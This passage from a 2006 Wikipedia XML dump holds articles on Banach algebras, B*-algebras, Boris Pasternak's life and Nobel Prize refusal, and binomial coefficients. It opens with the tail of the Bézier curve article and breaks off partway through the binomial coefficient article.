* [http://www.tinaja.com/cubic01.asp Don Lancaster's Cubic Spline Library] describes how to approximate a circle (or a circular arc, or a hyperbola) by a Bézier curve; using cubic splines for image interpolation, and an explanation of the math behind these curves.


[[Category:Splines]]

[[cs:Bézierova křivka]]
[[de:Bézierkurve]]
[[es:Curva de Bézier]]
[[fr:Courbe de Bézier]]
[[ko:베지에 곡선]]
[[lt:Bezjė kreivė]]
[[nl:Béziercurve]]
[[ja:ベジェ曲線]]
[[pl:Krzywa Béziera]]
[[pt:Curva de Bézier]]
[[ru:Кривая Безье]]
[[sl:Bézierjeva krivulja]]</text>
    </revision>
  </page>
  <page>
    <title>Banach algebra</title>
    <id>4665</id>
    <revision>
      <id>36777494</id>
      <timestamp>2006-01-26T11:35:41Z</timestamp>
      <contributor>
        <username>GrafZahl</username>
        <id>432345</id>
      </contributor>
      <minor />
      <comment>indentation</comment>
      <text xml:space="preserve">In [[mathematics]], especially [[functional analysis]], a '''Banach algebra''', named after [[Stefan Banach]], is an [[associative algebra]] ''A'' over the [[real number|real]] or [[complex number|complex]] numbers which at the same time is also a [[Banach space]]. The algebra multiplication and the Banach space norm are required to be related by the following inequality:
:&lt;math&gt; \forall x, y \in A , \|x \, y\| \ \leq  \|x \| \, \| y\| &lt;/math&gt;
(i.e., the norm of the product is less than or equal to the product of the norms.)
This ensures that the multiplication operation is [[continuous function (topology)|continuous]].

A Banach algebra is called &quot;unital&quot; if it has an [[identity element]] for the multiplication whose norm is 1, and &quot;commutative&quot; if its multiplication is [[commutative]].

Banach algebras can also be defined over fields of [[p-adic number]]s. This is part of [[p-adic analysis]].

== Examples ==
* The set of real (or complex) numbers is a Banach algebra with norm given by the [[absolute value]].
* The set of all real or complex ''n''-by-''n'' [[matrix (mathematics)|matrices]] becomes a [[unital]] Banach algebra if we equip it with a sub-multiplicative [[matrix norm]].
* Take the Banach space '''R'''&lt;sup&gt;''n''&lt;/sup&gt;  (or '''C'''&lt;sup&gt;''n''&lt;/sup&gt;) with norm ||''x''|| = max |''x''&lt;sub&gt;''i''&lt;/sub&gt;| and define multiplication componentwise: (''x''&lt;sub&gt;1&lt;/sub&gt;,...,''x''&lt;sub&gt;''n''&lt;/sub&gt;)(''y''&lt;sub&gt;1&lt;/sub&gt;,...,''y''&lt;sub&gt;''n''&lt;/sub&gt;) = (''x''&lt;sub&gt;1&lt;/sub&gt;''y''&lt;sub&gt;1&lt;/sub&gt;,...,''x''&lt;sub&gt;''n''&lt;/sub&gt;''y''&lt;sub&gt;''n''&lt;/sub&gt;).
* The [[quaternion]]s form a 4-dimensional real Banach algebra, with the norm being given by the absolute value of quaternions.
* The algebra of all bounded real- or complex-valued functions defined on some set (with pointwise multiplication and the [[supremum]] norm) is a unital Banach algebra.
* The algebra of all bounded [[continuous function (topology)|continuous]] real- or complex-valued functions on some [[locally compact space]] (again with pointwise operations and supremum norm) is a Banach algebra. The algebra is unital if and only if the original space is compact. Also, since every continuous function on a compact space is automatically bounded, we do not need to assume the boundedness of the functions in this case.
* Any [[C*-algebra]] is a Banach algebra.
* The algebra of all [[continuous function (topology)|continuous]] [[linear transformation|linear]] operators on a Banach space E (with functional composition as multiplication and the [[operator norm]] as norm) is a unital Banach algebra. The set of all compact operators on E is a closed ideal in this algebra.
* The continuous linear operators on a [[Hilbert space]] form a [[C*-algebra|C-star-algebra]] and therefore a Banach algebra.
* If ''G'' is a [[locally compact]] [[Hausdorff space|Hausdorff]] [[topological group]] and &amp;mu; its [[Haar measure]], then the Banach space L&lt;sup&gt;1&lt;/sup&gt;(''G'') of all &amp;mu;-integrable functions on ''G'' becomes a Banach algebra under the [[convolution]] ''xy''(''g'') = &amp;int; ''x''(''h'') ''y''(''h''&lt;sup&gt;-1&lt;/sup&gt;''g'') d&amp;mu;(''h'') for ''x'', ''y'' in L&lt;sup&gt;1&lt;/sup&gt;(''G'').

== Properties ==

Several [[list of functions|elementary functions]] which are defined via [[power series]] may be defined in any unital Banach algebra; examples include the [[exponential function]] and the [[trigonometric function|trigonometric functions]]. The formula for the [[geometric series]] and the [[binomial theorem]] also remain valid in general unital Banach algebras.

The set of [[invertible element]]s in any unital Banach algebra is an [[open set]], and the inversion operation on this set is continuous, so that it forms a [[topological group]] under multiplication.

Unital Banach algebras provide a natural setting to study general spectral theory. The ''spectrum'' of an element ''x'' consists of all those [[scalar]]s &amp;lambda; such that ''x'' -&amp;lambda;1 is not invertible. (In the Banach algebra of all ''n''-by-''n'' matrices mentioned above, the spectrum of a matrix coincides with the set of all its [[eigenvalue]]s.) The spectrum of any element is [[compact]]. If the base field is the field of [[complex number]]s, then the spectrum of any element is [[non-empty]].

The various algebras of functions given in the examples above have very different properties from standard examples of algebras such as the reals. For example:

* Every real Banach algebra which is a [[division algebra]] is isomorphic to the reals, the complexes, or the quaternions.
* Every unital real Banach algebra with no [[zero divisor]]s, and in which every [[principal ideal]] is [[closed set|closed]], is isomorphic to the reals, the complexes, or the quaternions.
* Every commutative real unital [[noetherian ring|noetherian]] Banach algebra with no zero divisors is isomorphic to the real or complex numbers.
* Every commutative real unital noetherian Banach algebra (possibly having zero divisors) is finite-dimensional.
* Permanently singular elements in Banach algebras are [[topological divisior of zero|topological divisors of zero]], i.e. considering extensions ''B'' of Banach algebras ''A'' some elements that are singular in the given algebra A have an multiplicative inverse element in a Banach algebra extension ''B''. Topological divisors of zero in ''A'' are permanently singular in all Banach extension ''B'' of ''A''. 
[[Category:Banach algebras|*]]
[[Category:Topological rings]]

[[de:Banachalgebra]]</text>
    </revision>
  </page>
  <page>
    <title>B*-algebra</title>
    <id>4666</id>
    <revision>
      <id>36280621</id>
      <timestamp>2006-01-22T23:33:56Z</timestamp>
      <contributor>
        <username>Gauge</username>
        <id>90336</id>
      </contributor>
      <comment>remove restatements of the formulas, add missing criterion</comment>
      <text xml:space="preserve">'''B*-algebras''' are [[mathematics|mathematical]] structures studied in [[functional analysis]]. A B*-algebra ''A'' is a [[Banach algebra]] over the field of [[complex number|complex numbers]], together with a map * : ''A'' &amp;rarr; ''A'' called ''involution'' which has the following properties:
# (''x'' + ''y'')* = ''x''* + ''y''* for all ''x'', ''y'' in ''A''.
# (&amp;lambda; ''x'')* = &amp;lambda;* ''x''* for every &amp;lambda; in '''C''' and every ''x'' in ''A''; here, &amp;lambda;* stands for the complex conjugation of &amp;lambda;.
# (''xy'')* = ''y''* ''x''* for all ''x'', ''y'' in ''A''.
# (''x''*)* = ''x'' for all ''x'' in ''A''.
# ||''x''*|| = ||''x''||, ''i.e.'', the involution is compatible with the norm.

B* algebras are really a special case of [[Star-algebra|* algebras]]; a succinct  definition is that a B*-algebra is a *-algebra that is also a Banach algebra.

If the following property is also true, the algebra is actually a [[C*-algebra|'''C*-algebra''']]:
* ||''x x*''|| = ||''x''||&lt;sup&gt;2&lt;/sup&gt; for all ''x'' in ''A''.

See also: [[Algebra over a field|algebra]], [[associative algebra]], [[Star-algebra|* algebra]].

[[Category:Banach algebras]]
[[Category:C*-algebras]]</text>
    </revision>
  </page>
  <page>
    <title>Boris Pasternak</title>
    <id>4667</id>
    <revision>
      <id>40227978</id>
      <timestamp>2006-02-19T02:29:00Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">[[Image:Pasternak.jpg|thumb|200px|Boris Pasternak (1890-1960).]]
'''Boris Leonidovich Pasternak''' (''Борис Леонидович Пастернак'') ([[February 10]], [[1890]] &amp;ndash; [[May 30]], [[1960]]) was a [[Russia]]n [[poet]] and [[writer]] best known in the West for his monumental tragic novel on [[Soviet Union|Soviet Russia]], ''[[Doctor Zhivago]]'' (1957). It is as a poet, however, that he is most celebrated in Russia. ''My Sister Life'', written by Pasternak in [[1917]], is arguably the most influential collection of poetry published in [[Russian language|Russian]] in the [[20th century]].

==Early life==

Pasternak was born in [[Moscow]] on [[February 10]] (Gregorian), [[1890]] (Julian January 29). His parents were a prominent [[Jew]]ish painter [[Leonid Pasternak]], professor at the [[Moscow School of Painting]], who converted to [[Orthodox Christianity]], and Rosa Kaufman, a popular concert [[pianist]]. Pasternak was brought up in a cosmopolitan atmosphere, his father's home being visited by [[Sergei Rachmaninoff]], [[Rainer Maria Rilke]], and [[Leo Tolstoy]]. His father's conversion would naturally impact his future, and many of his later poems have overtly Christian themes.

Inspired by his neighbour [[Alexander Scriabin]], Pasternak resolved to become a composer and entered the [[Moscow Conservatory]]. In [[1910]], he abruptly left the conservatory for the [[University of Marburg]], where he studied under [[Neo-Kantian]] philosophers [[Hermann Cohen]] and [[Nicolai Hartmann]]. Although invited to become a scholar, he decided against philosophy as a profession and returned to Moscow in [[1914]]. His first collection of poetry, influenced by [[Alexander Blok]] and the [[Futurists]], was published later that year.

Pasternak's early verse cleverly dissimulates his preoccupation with [[Kant]]'s ideas. Its fabric includes  striking alliterations, wild rhythmic combinations, day-to-day vocabulary, and hidden allusions to his favourite poets - [[Lermontov]] and German Romantics. 

During [[World War I]] he taught and worked at a chemical factory in the [[Urals]]; this undoubtedly provided him with material for ''Dr.&amp;nbsp;Zhivago'' many years later. Unlike his relatives and many of his friends, Pasternak didn't leave Russia after the revolution. He was fascinated with the new ideas and possibilities the revolution had brought to life.

==&quot;My Sister Life&quot;==

Pasternak spent the summer of [[1917]] living in steppe near [[Saratov]], where he fell in love with a Jewish girl. These passions resulted in the collection ''My Sister Life'', which he wrote for three months and was embarrassed to publish for 4 years. When it finally appeared in [[1921]], the book had revolutionary impact upon Russian poetry. It made Pasternak the model of imitation for younger poets, and decisively changed the poetic manners of [[Osip Mandelshtam]] and [[Marina Tsvetayeva]], to name only a few. 

Following ''My Sister Life'', Pasternak produced some hermetic pieces of uneven quality, including his masterpiece, a lyric cycle entitled ''Rupture'' (1921). Such various authors as [[Vladimir Mayakovsky]], [[Andrey Bely]], and [[Vladimir Nabokov]] applauded Pasternak's poems as the works of pure, unbridled inspiration. In the later 1920s, he also participated in the [http://www.nybooks.com/articles/5268 celebrated tripartite correspondence] with [[Rilke]] and [[Tsvetayeva]]. 

By the end of the 1920s, Pasternak increasingly felt that his colourful modernist style was at variance with the doctrine of [[Socialist Realism]] approved by the Communist party. He attempted to make his poetry much more comprehensible to mass reader by reworking his earlier pieces and starting two lengthy poems on the [[Russian Revolution of 1917|Russian Revolution]]. He also turned to prose and wrote several autobiographic stories, notably &quot;The Childhood of Luvers&quot; and &quot;Safe Conduct&quot;.

==&quot;Second Birth&quot;== [[Image:Pastchuk.jpg|thumb|275px|Boris Pasternak (in the foreground) and [[Korney Chukovsky]] at the first Congress of the [[Soviet Union of Writers]] in [[1934]].]]

By [[1932]], Pasternak strikingly reshaped his style to make it acceptable to Soviet public and printed the new collection of poems aptly entitled ''The Second Birth''. Although its Caucasian pieces were as brilliant as the earlier efforts, the book alienated the core of Pasternak's refined audience abroad. He simplified his style even further for the next collection of patriotic verse, ''Early Trains'' (1943), which prompted Nabokov to describe Pasternak as a &quot;weeping Bolshevik&quot; and &quot;[[Emily Dickinson]] in trousers&quot;. 

During the great purges of the later 1930s, Pasternak became progressively disillusioned with the Communist ideals. Reluctant to publish his own poetry, he turned to translating [[Shakespeare]] (''[[Hamlet]]'', ''[[Macbeth]]'', ''[[King Lear]]''), [[Goethe]] (''[[Faust]]''), [[Rilke]] (''Requiem fur eine Freundin''), [[Paul Verlaine]], and [[Georgia (country)|Georgia]]n poets favoured by [[Stalin]]. Pasternak's translations of Shakespeare have proved popular with Russian public on account of their colloquial, modernised dialogues, but the critics accused him of &quot;pasternakizing&quot; the English playwright. Although he was widely panned for excessive subjectivism, they say that Stalin crossed Pasternak's name off an arrest list during the [[Great Purge|purges]], quoted as saying &quot;Don't touch this cloud dweller&quot;.

==&quot;Doctor Zhivago&quot;==

Several years before [[World War II|WWII]], Pasternak and his wife settled in [[Peredelkino]], a village for writers several miles from [[Moscow]]. He was filled with a love of life that gave his poetry a hopeful tone.  Pasternak’s love of life is reflected in the name of his autobiographic hero Zhivago, derived from the Russian word for &quot;live&quot;. Another famous character, Lara, is said to have been modeled on his mistress [http://www.peoples.ru/love/pasternak-ivinskaya/ Olga Ivinskaya].

As he could not find a publisher for his novel inside the country, ''[[Doctor Zhivago]]'' was smuggled abroad and released in [[Italy]] in [[1957]]. This led to a wide-scale campaign of persecution within the [[Soviet Union]] up until his death. Although none of his critics had the chance to read the proscribed novel, some of them publicly demanded, &quot;kick the pig out of our kitchen-garden&quot;, i.e., expel Pasternak from the USSR.

Pasternak's post-Zhivago poetry probes the universal questions of love, immortality, and reconciliation with God. The poems from his last collection, which he wrote until his death, are probably his best loved and best known.

==Nobel Prize== [[Image:Dommuzejpasternak.jpg|thumb|250px|Pasternak house in [[Peredelkino]], where the poet passed away.]]
Pasternak was announced as the winner of the [[Nobel Prize for Literature]] in [[1958]].  
On [[October 25]], two days after hearing that he had won, Pasternak sent the following telegram to the [[Swedish Academy]]: 
:''&quot;Immensely thankful, touched, proud, astonished, abashed.&quot;'' 
However, four days later came another telegram: 
:''&quot;Considering the meaning this award has been given in the society to which I belong, I must reject this undeserved prize which has been presented to me. Please do not receive my voluntary rejection with displeasure.&quot;''  
The Swedish Academy announced: 
:''&quot;This refusal, of course, in no way alters the validity of the award. There remains only for the Academy, however, to announce with regret that the presentation of the Prize cannot take place.&quot;''  
Reading between the lines of Pasternak's second telegram, it is clear he declined the award out of fear that he would be stripped of his Soviet citizenship and not allowed to return to his homeland if he were to travel to [[Stockholm]] to accept it.  He was an old and sick man, and this was not a prospect he welcomed.

Pasternak died on [[May 30]], [[1960]] and was buried in Peredelkino in the presence of several devoted admirers, including the poet [[Andrey Voznesensky]]. ''Doctor Zhivago'' was eventually published in the USSR in [[1987]].

{{start box}}
{{succession box | before = [[Albert Camus]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1958 | after = [[Salvatore Quasimodo]]
}}
{{end box}}

==External links==
*[http://nobelprize.org/literature/laureates/1958/index.html 1958 Nobel Prize in Literature]
*[http://www.netwerk.tv/index.jsp?p=items&amp;r=netwerk&amp;a=200650]
[[Category:1890 births|Pasternak, Boris]]
[[Category:1960 deaths|Pasternak, Boris]] 
[[Category:Nobel Prize in Literature winners|Pasternak, Boris]] 
[[Category:Russian poets|Pasternak, Boris]] 
[[Category:Russian novelists|Pasternak, Boris]]

[[ar:بوريس باسترناك]]
[[bg:Борис Пастернак]]
[[cs:Boris Leonidovič Pasternak]]
[[de:Boris Leonidowitsch Pasternak]]
[[et:Boriss Pasternak]]
[[es:Borís Pasternak]]
[[eo:Boris PASTERNAK]]
[[fr:Boris Pasternak]]
[[hr:Boris Pasternak]]
[[it:Boris Pasternak]]
[[he:בוריס פסטרנק]]
[[hu:Borisz Leonyidovics Paszternak]]
[[nl:Boris Pasternak]]
[[ja:ボリス・パステルナーク]]
[[no:Boris Pasternak]]
[[pl:Borys Pasternak]]
[[pt:Boris Pasternak]]
[[ro:Boris Pasternak]]
[[ru:Пастернак, Борис Леонидович]]
[[sl:Boris Leonidovič Pasternak]]
[[fi:Boris Pasternak]]
[[sv:Boris Pasternak]]</text>
    </revision>
  </page>
  <page>
    <title>Binomial coefficient</title>
    <id>4668</id>
    <revision>
      <id>40492641</id>
      <timestamp>2006-02-20T23:34:10Z</timestamp>
      <contributor>
        <username>Catapult</username>
        <id>792235</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:Categories for deletion/Log/2006 February 12|CFD]]: renaming category[[user:freakofnurture|...]]</comment>
      <text xml:space="preserve">:''See [[binomial (disambiguation)]] for a list of other topics called by that name.''

In [[mathematics]], particularly in [[combinatorics]], the '''binomial coefficient''' of the [[natural number]] ''n'' and the [[integer]] ''k'' is defined to be the natural number
:&lt;math&gt; {n \choose k} = \frac{n \cdot (n-1) \cdots (n-k+1)}{k \cdot (k-1) \cdots 1} = \frac{n!}{k!(n-k)!} \quad \mbox{if } n\geq k\geq 0 \qquad \mbox{(1)} &lt;/math&gt;

and
:&lt;math&gt; {n \choose k} = 0 \quad \mbox{if } k&lt;0 \mbox{ or } k&gt;n &lt;/math&gt;

where ''m''! denotes the [[factorial]] of ''m''. According to [[Nicholas J. Higham]], the 

:&lt;math&gt; {n \choose k} &lt;/math&gt; 

notation was introduced by [[Albert von Ettinghausen]]  in [[1826]], although these numbers have been known centuries before that; see [[Pascal's triangle]].

An alternative name for the binomial coefficient is '''choose function'''; the binomial coefficient of ''n'' and ''k'' is often read as &quot;''n'' choose ''k''&quot;. Alternative notations include C(''n'', ''k''), &lt;sub&gt;''n''&lt;/sub&gt;C&lt;sub&gt;''k''&lt;/sub&gt; or &lt;math&gt;C^{k}_{n}&lt;/math&gt; (C for [[combination]]). For compactness, from here on we will use the first of these three notations. 

The binomial coefficients are the [[coefficient]]s in the expansion of the binomial (''x'' + ''y'')&lt;sup&gt;''n''&lt;/sup&gt; (hence the name):

:&lt;math&gt; (x+y)^n = \sum_{k=0}^{n} C(n, k) x^{n-k} y^k. \qquad (2) &lt;/math&gt;

This is generalized by the [[binomial theorem]], which allows the exponent ''n'' to be negative or a non-integer.

The importance of the binomial coefficients lies in the fact that C(''n'', ''k'') is the number of ways that ''k'' objects can be chosen from ''n'' objects, regardless of order. See the article on [[combination]].

==Example==

:&lt;math&gt; {7 \choose 3} 
= \frac{7 \cdot 6 \cdot 5 \cdot 4 \cdot 3 \cdot 2 \cdot 1}{(3 \cdot 2 \cdot 1)(4 \cdot 3 \cdot 2 \cdot 1)} 
= \frac{7\cdot 6 \cdot 5}{3\cdot 2\cdot 1} 
= 35.&lt;/math&gt;

The practical calculation of the binomial coefficient is conveniently arranged like this: ((((5/1)&amp;times;6)/2)&amp;times;7)/3, alternatingly dividing and multiplying with increasing integers. Each division is guaranteed to produce an integer result.

== Derivation from binomial expansion ==

For exponent 1, (''x''+''y'')&lt;sup&gt;1&lt;/sup&gt; is ''x''+''y''. For exponent 2, (''x''+''y'')&lt;sup&gt;2&lt;/sup&gt; is (''x''+''y'')(''x''+''y''), which forms terms as follows. The first factor supplies either an ''x'' or a ''y''; likewise for the second factor. Thus to form ''x''&lt;sup&gt;2&lt;/sup&gt;, the only possibility is to choose ''x'' from both factors; likewise for ''y''&lt;sup&gt;2&lt;/sup&gt;. However, the ''xy'' term can be formed by ''x'' from the first and ''y'' from the second factor, or ''y'' from the first and ''x'' from the second factor; thus it acquires a coefficient of 2. Proceeding to exponent 3, (''x''+''y'')&lt;sup&gt;3&lt;/sup&gt; reduces to (''x''+''y'')&lt;sup&gt;2&lt;/sup&gt;(''x''+''y''), where we already know that (''x''+''y'')&lt;sup&gt;2&lt;/sup&gt;= ''x''&lt;sup&gt;2&lt;/sup&gt;+2''xy''+''y''&lt;sup&gt;2&lt;/sup&gt;. Again the extremes, ''x''&lt;sup&gt;3&lt;/sup&gt; and ''y''&lt;sup&gt;3&lt;/sup&gt; arise in a unique way. However, the term ''x''&lt;sup&gt;2&lt;/sup&gt;''y'' is either 2''xy'' times ''x'' or ''x''&lt;sup&gt;2&lt;/sup&gt; times ''y'', for a coefficient of 3; likewise ''xy''&lt;sup&gt;2&lt;/sup&gt; arises in two ways, summing the coefficients 1 and 2 to give 3.

This suggests an [[mathematical induction|induction]]. Thus for exponent ''n'', each term has [[degree (mathematics)|total degree]] (sum of exponents) ''n'', with ''n''−''k'' factors of ''x'' and ''k'' factors of ''y''.  If ''k'' is 0 or ''n'', the term arises in only one way, and we get the terms ''x''&lt;sup&gt;n&lt;/sup&gt; and ''y''&lt;sup&gt;n&lt;/sup&gt;.  If ''k'' is neither 0 nor ''n'', then the term arises in two ways, from x&lt;sup&gt;n-k-1&lt;/sup&gt;y&lt;sup&gt;k&lt;/sup&gt; &amp;times; x and from x&lt;sup&gt;n-k&lt;/sup&gt;y&lt;sup&gt;k-1&lt;/sup&gt; &amp;times; y. For example, ''x''&lt;sup&gt;2&lt;/sup&gt;''y''&lt;sup&gt;2&lt;/sup&gt; is both ''xy''&lt;sup&gt;2&lt;/sup&gt; times ''x'' and ''x''&lt;sup&gt;2&lt;/sup&gt;''y'' times ''y'', thus its coefficient is 3 (the coefficient of ''xy''&lt;sup&gt;2&lt;/sup&gt;) + 3 (the coefficient of ''x''&lt;sup&gt;2&lt;/sup&gt;''y''). This is the origin of Pascal's triangle, discussed below.

Another perspective is that to form ''x''&lt;sup&gt;''n''−''k''&lt;/sup&gt;''y''&lt;sup&gt;''k''&lt;/sup&gt; from ''n'' factors of (''x''+''y''), we must choose ''y'' from ''k'' of the factors and ''x'' from the rest. To count the possibilities, consider all ''n''! [[permutation]]s of the factors. Represent each permutation as a shuffled list of the numbers from 1 to ''n''. Select an ''x'' from the first ''n''−''k'' factors listed, and a ''y'' from the remaining ''k'' factors; in this way each permutation contributes to the term ''x''&lt;sup&gt;''n''−''k''&lt;/sup&gt;''y''&lt;sup&gt;''k''&lt;/sup&gt;. For example, the list &amp;lang;&lt;u&gt;4,1&lt;/u&gt;,&lt;u style=&quot;text-decoration:overline&quot;&gt;2,3&lt;/u&gt;&amp;rang; selects ''x'' from factors 4 and 1, and selects ''y'' from factors 2 and 3, as one way to form the term ''x''&lt;sup&gt;2&lt;/sup&gt;''y''&lt;sup&gt;2&lt;/sup&gt;.

: (&lt;u&gt;''x''&lt;/u&gt;  +&lt;sup&gt;1&lt;/sup&gt; ''y'')(''x''  +&lt;sup&gt;2&lt;/sup&gt; &lt;u style=&quot;text-decoration:overline&quot;&gt;''y''&lt;/u&gt;)(''x''  +&lt;sup&gt;3&lt;/sup&gt; &lt;u style=&quot;text-decoration:overline&quot;&gt;''y''&lt;/u&gt;)(&lt;u&gt;''x''&lt;/u&gt;  +&lt;sup&gt;4&lt;/sup&gt; ''y'')

But the distinct list &amp;lang;&lt;u&gt;1,4&lt;/u&gt;,&lt;u style=&quot;text-decoration:overline&quot;&gt;3,2&lt;/u&gt;&amp;rang; makes exactly the same selection; the binomial coefficient formula must remove this redundancy. The ''n''−''k'' factors for ''x'' have (''n''−''k'')! permutations, and the ''k'' factors for ''y'' have ''k''! permutations. Therefore ''n''!/(''n''−''k'')!''k''! is the number of truly distinct ways to form the term ''x''&lt;sup&gt;''n''−''k''&lt;/sup&gt;''y''&lt;sup&gt;''k''&lt;/sup&gt;.

== Pascal's triangle ==

[[Pascal's rule]] is the important [[recurrence relation]]
:&lt;math&gt; \mathrm{C}(n,k) +  \mathrm{C}(n,k+1) = C(n+1,k+1), \qquad (3) &lt;/math&gt;
which follows directly from the definition. This recurrence relation can be used to prove by [[mathematical induction]] that C(''n'', ''k'') is a natural number for all ''n'' and ''k'', a fact that is not immediately obvious from the definition.

It also gives rise to [[Pascal's triangle]]:
 row 0                     1
 row 1                   1   1
 row 2                 1   2   1
 row 3               1   3   3   1
 row 4             1   4   6   4   1
 row 5           1   5   10  10   5   1
 row 6         1   6   15  20  15   6   1
 row 7       1   7   21  35  35   21  7   1
 row 8     1   8   28  56  70  56   28  8   1
Row number ''n'' contains the numbers C(''n'', ''k'') for ''k'' = 0,...,''n''. It is constructed by starting with ones at the outside and then always adding two adjacent numbers and writing the sum directly underneath. This method allows the quick calculation of binomial coefficients without the need for fractions or multiplications. For instance, by looking at row number 5 of the triangle, one can quickly read off that
:(''x'' + ''y'')&lt;sup&gt;5&lt;/sup&gt; = '''1'''''x''&lt;sup&gt;5&lt;/sup&gt; + '''5''' ''x''&lt;sup&gt;4&lt;/sup&gt;''y'' + '''10''' ''x''&lt;sup&gt;3&lt;/sup&gt;''y''&lt;sup&gt;2&lt;/sup&gt; + '''10''' ''x''&lt;sup&gt;2&lt;/sup&gt;''y''&lt;sup&gt;3&lt;/sup&gt; + '''5''' ''x'' ''y''&lt;sup&gt;4&lt;/sup&gt; + '''1'''''y''&lt;sup&gt;5&lt;/sup&gt;.
The differences between elements on other diagonals are the elements in the previous diagonal - consequential to the recurrence relation (3) above.  

In the 1303 AD treatise ''Precious Mirror of the Four Elements'', [[Zhu Shijie]] mentioned the triangle as an ancient method for solving binomial coefficients indicating that the method was known to Chinese mathematicians five centuries before [[Blaise Pascal|Pascal]].

== Combinatorics and statistics ==

Binomial coefficients are of importance in [[combinatorics]], because they provide ready formulas for certain frequent counting problems:
* Every [[set]] with ''n'' elements has &lt;math&gt; \mathrm{C}(n, k)&lt;/math&gt; different subsets having ''k'' elements each (these are called [[combination|''k''-combinations]]). 
* The number of [[string (computer science)|strings]] of length ''n'' containing ''k'' ones and ''n''&amp;nbsp;&amp;minus;&amp;nbsp;''k'' zeros is &lt;math&gt; \mathrm{C}(n, k).&lt;/math&gt;
* There are &lt;math&gt; \mathrm{C}(n+1, k)&lt;/math&gt; strings consisting of ''k'' ones and ''n'' zeros such that no two ones are adjacent.
* The number of sequences consisting of ''n'' [[natural number]]s whose sum equals ''k'' is &lt;math&gt; \mathrm{C}(n+k-1, k)&lt;/math&gt;; this is also the number of ways to choose ''k'' elements from a set of ''n'' if repetitions are allowed.
* The [[Catalan number]]s have an easy formula involving binomial coefficients; they can be used to count various structures, such as [[tree (graph theory)|tree]]s and parenthesized expressions.

The binomial coefficients also occur in the formula for the [[binomial distribution]] in [[statistics]] and in the formula for a [[Bézier curve]].

== Formulas involving binomial coefficients ==

One has that 
:&lt;math&gt; \mathrm{C}(n,k)= \mathrm{C}(n, n-k),\qquad\qquad(4)\,&lt;/math&gt;

which follows from expansion (2) by using (''x'' + ''y'')&lt;sup&gt;''n''&lt;/sup&gt; = (''y'' + ''x'')&lt;sup&gt;''n''&lt;/sup&gt;, and is reflected in the numerical &quot;symmetry&quot; of [[Pascal's triangle]].

Another formula is
:&lt;math&gt; \sum_{k=0}^{n} \mathrm{C}(n,k) = 2^n; \qquad (5) &lt;/math&gt;

it is obtained from expansion (2) using ''x'' = ''y'' = 1.  This is equivalent to saying that the elements in one row of Pascal's triangle always add up to two raised to an integer power.

The formula
:&lt;math&gt; \sum_{k=1}^{n} k \mathrm{C}(n,k) = n 2^{n-1} \qquad (6) &lt;/math&gt;

follows from expansion (2), after [[derivative|differentiating]] and substituting ''x'' = ''y'' = 1.

[[Vandermonde's identity]]
:&lt;math&gt; \sum_{j} \mathrm{C}(m,j) \mathrm{C}(n-m,k-j) = \mathrm{C}(n,k) \qquad (7a) &lt;/math&gt;
is found by expanding (1+''x'')&lt;sup&gt;''m''&lt;/sup&gt; (1+''x'')&lt;sup&gt;''n-m''&lt;/sup&gt; = (1+''x'')&lt;sup&gt;''n''&lt;/sup&gt; with (2). As C(''n'', ''k'') is zero if ''k'' &gt; ''n'', the sum is finite for integer n and m. Equation (7a) generalizes equation (3).  It holds for arbitrary, complex-valued &lt;math&gt;m&lt;/math&gt; and &lt;math&gt;n&lt;/math&gt;, the [[Chu-Vandermonde identity]].

A related formula is 

:&lt;math&gt; \sum_{m} \mathrm{C}(m,j) \mathrm{C}(n-m,k-j) = \mathrm{C}(n+1,k+1). \qquad (7b) &lt;/math&gt;

While equation (7a) is true for all values of ''m'', equation (7b) is true for all values of ''j''.

From expansion (7a) using ''n''=2''m'', ''k'' = ''n'', and (4), one finds

:&lt;math&gt; \sum_{j=0}^{m} \mathrm{C}(m,j)^2 = \mathrm{C}(2m,m). \qquad (8)&lt;/math&gt;

Denote by ''F''(''n''&amp;nbsp;+&amp;nbsp;1) the [[Fibonacci number]]s. We obtain a formula about the diagonals of Pascal's triangle
:&lt;math&gt; \sum_{k=0}^{n} \mathrm{C}(n-k,k) = \mathrm{F}(n+1). \qquad (9) &lt;/math&gt;

This can be proved by [[mathematical induction|induction]] using (3).

Also using (3) and induction, one can show that

:&lt;math&gt; \sum_{j=k}^{n} \mathrm{C}(j,k) = \mathrm{C}(n+1,k+1). \qquad (10) &lt;/math&gt;

== Divisors of binomial coefficients ==

The [[prime number|prime]] divisors of C(''n'', ''k'') can be interpreted as follows: if ''p'' is a prime number and ''p''&lt;sup&gt;''r''&lt;/sup&gt; is the highest power of ''p'' which divides C(''n'', ''k''), then ''r'' is equal to the number of natural numbers ''j'' such that the [[fractional part]] of ''k''/''p''&lt;sup&gt;''j''&lt;/sup&gt; is bigger than the fractional part of ''n''/''p''&lt;sup&gt;''j''&lt;/sup&gt;. In particular, C(''n'', ''k'') is always divisible by ''n''/[[greatest common divisor|gcd]](''n'',''k'').

A somewhat surprising result by David Singmaster (1974) is that any integer divides almost all binomial coefficients.

== Bounds for binomial coefficients ==

The following bounds for C(''n'', ''k'') hold:

* &lt;math&gt; \mathrm{C}(n, k)  \le \frac{n^k}{k!} &lt;/math&gt;

* &lt;math&gt; \mathrm{C}(n, k)  \le \left(\frac{n\cdot e}{k}\right)^k &lt;/math&gt;

* &lt;math&gt; \mathrm{C}(n, k)  \ge \left(\frac{n}{k}\right)^k&lt;/math&gt;

==Generalization to multinomials==

While the binomial coefficients represent the coefficients of (''x''+''y'')&lt;sup&gt;''n''&lt;/sup&gt;, the '''multinomial''' coefficients represent the coefficients of 
:(''x''&lt;sub&gt;1&lt;/sub&gt; + ''x''&lt;sub&gt;2&lt;/sub&gt; + ... + ''x''&lt;sub&gt;''k''&lt;/sub&gt;)&lt;sup&gt;''n''&lt;/sup&gt;.  
See [[multinomial theorem]].  The case ''k'' = 2 gives binomial coefficients.

== Generalization to real and complex argument ==

The binomial coefficient &lt;math&gt;{z\choose k}&lt;/math&gt; can be defined for any [[complex number]] ''z'' and any [[natural number]] ''k'' as follows:
:&lt;math&gt;{z\choose k} = \prod_{n=1}^{k}{z-k+n\over n}= \frac{z(z-1)(z-2)\cdots (z-k+1)}{k!} \qquad (11) &lt;/math&gt;

This generalization is known as the '''generalized binomial coefficient''' and is used in the formulation of the [[binomial theorem]] and satisfies properties (3) and (7).

